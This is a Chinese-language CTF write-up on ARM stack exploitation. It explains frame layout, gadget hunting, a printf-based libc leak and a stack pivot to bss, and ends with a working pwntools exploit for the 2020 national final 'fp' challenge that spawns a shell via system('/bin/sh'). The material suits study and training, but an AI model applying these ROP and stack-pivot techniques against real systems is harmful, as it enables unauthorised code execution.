Arm Pwn攻击与利用
1.ida识别栈
注意:ida识别栈空间时
例如这种,并不说arm栈上不存在esp
在函数开始被调用时,arm的栈结构中会将R11寄存器中的值push{R11}入栈
函数结束时会pop{R11,PC}出栈并返回返回地址
一次buf的范围为0x100
所以在buf与bl(s)也就是返回地址中间还存在一个类似于ebp的值
2.pop链与gadget
1.从elf文件中
ARMpwn中的gadget并没有想象的和linux pwn一样那么多
我们有时需要手撕,
例如使用工具Ropgadget 我们获取了
0x00010348 : pop {r3, pc}
0x00010498 : pop {r4, pc}
只是没有办法直接去直接获取libc或者getshell的
我们知道arm中传参是用寄存器传参,我们一般常用有R0-R4 常用的那几个函数够用了
若程序中存在 puts 或者printf 函数,且其传入参数的汇编中有类似于:
MOV R0 , R3;
MOV R0 , R4;
这样的,我们就可以构造一个pop链来输出我们想要的东西
例如:
payload = p32(pop_r3_pc) + p32(elf.got['puts']) + p32(mov_r0_r3)
2.从libc中
我们可以在获取libc基地址后从libc中获取我们所需要的libc
打远程的话就用远程的libc,本地的话就用本地的即可
例题:2020国赛决赛 fp (其实是一个栈迁移)
我们没有找到合适的gadget来进行构造pop链
0x00010348 : pop {r3, pc}
0x00010498 : pop {r4, pc}
但在程序中我们发现了
MOV R0 , R3;
MOV R0 , R4;
之后是调用printf
我们可以根据此来构造pop链
payload = 'a' * 0x100 + p32(bss+0x400) + p32(p_r3_p) +p32(elf.got['printf']) + p32(m_r0_r3)
但在覆盖R11 时出现了点问题:
如果我们将R11(也就是ebp)像linux那样覆盖为0,会导致
1.第一个箭头处 第二次read的时候我们输入数据的位置会变为一个不存在的地址
2.在第二个箭头处,我们会将sp(esp)指向一个无法访问的内存,从而导致报错
因此我们要在某一个我们可控的内存出设置一个fake stack
所以我们可以将它们设置为一个空闲的我们可以控制的内存---》即bss段,且尽量靠后,以防影响到其他数据
这样我们可以:
1.将数据写入bss不影响其他数据
2.使得sp指向可以访问的地方
3.我们可以在第二次输入的时候构造payload,根据汇编我们要在栈上输入数据使得可以通过
来返回到system函数,进而getshell
.text:000104FC SUB SP, R11, #4
.text:00010500 POP {R11,PC}
对这二条汇编进行解释:
1.SUB SP, R11, #4
是指:R11中的值-4后赋值给SP(esp),本意是程序为了释放栈空间,将SP(esp)跳转到SP(esp)的前面
但是我们就会用他将SP指向我们伪造的栈结构里面的fake R11
2.POP {R11,PC}
是指将下面两个存储单元的值pop 进入R11,PC寄存器,本意是为了恢复进上一个函数的栈空间并跳回返回地址
但是我们可以在上一条汇编的基础上,将我们伪造的R11 (当然这里也有限制)pop 进入 R11,并将我们写好的shellcode(pop 链去执行)
进而拿到shell
附上exp:
p_r3_p = 0x00010348
m_r0_r3 = 0x00104D8
#debug1("b *0x00104f4")
#获取libc
p.recvuntil('input: ')
bss = elf.bss()
payload = 'a' * 0x100 + p32(bss+0x400) + p32(p_r3_p) + p32(elf.got['printf']) + p32(m_r0_r3)
p.sendline(payload)
p.recvuntil('')
libc_base = u32(p.recv(4).ljust(4,'\x00')) - libc.symbols['printf']
ls('libc_base',libc_base)
#从libc中寻找gadget去获取pop r0 pc
#0x00056b7c : pop {r0, r4, pc}
p_r0_pc = libc_base + 0x00056b7c
sys_bin = libc_base + libc.search('/bin/sh\x00').next()
sys_addr =libc_base + libc.symbols['system']
#getshell
payload2 = 'a' *0x100 + p32(bss+0x20) + p32(p_r0_pc) + p32(sys_bin) + p32(0) + p32(sys_addr)
p.sendline(payload2)
p.interactive()
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。